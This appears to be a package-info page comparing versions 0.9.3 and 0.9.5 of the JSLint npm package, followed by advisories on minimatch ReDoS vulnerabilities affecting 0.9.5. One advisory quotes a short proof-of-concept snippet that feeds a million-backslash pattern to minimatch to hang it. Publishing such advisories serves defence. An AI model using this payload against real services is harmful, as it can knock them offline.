JSLint is a JavaScript code quality tool designed to help developers identify potential issues and enforce coding standards within their projects. Examining versions 0.9.3 and 0.9.5 reveals subtle but important points, particularly for those relying on stability and predictability. Both versions share identical dependencies, including "exit," "glob," "nopt," and "readable-stream," indicating a consistent core functionality related to process termination, file system globbing, option parsing, and stream handling. The development dependencies, like "fs.extra", "istanbul", "mocha" and "ronn" which aid in testing, coverage reporting, and documentation, are also unchanged.
The critical difference lies in the "releaseDate." Version 0.9.5 came out later, specifically on November 4th, 2015, following version 0.9.3's release on July 30th, 2015. This temporal gap suggests that version 0.9.5 likely incorporates bug fixes, performance improvements, or minor feature tweaks discovered or implemented since the earlier release. For developers, this means upgrading to 0.9.5 is generally advisable, as it benefits from several months of refinement and potential resolution of issues encountered in 0.9.3. However, a thorough testing procedure with your specific codebase is always crucial after any upgrade to ensure unforeseen regressions have not surfaced and that the newer jslint behaves as expected. Keep in mind that both versions rely on older dependencies.
All the vulnerabilities related to the version 0.9.5 of the package
Regular Expression Denial of Service in minimatch
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);
Update to version 3.0.2 or later.
minimatch ReDoS vulnerability
A vulnerability was found in the minimatch package. This flaw allows a Regular Expression Denial of Service (ReDoS) when calling the braceExpand function with specific arguments, resulting in a Denial of Service.
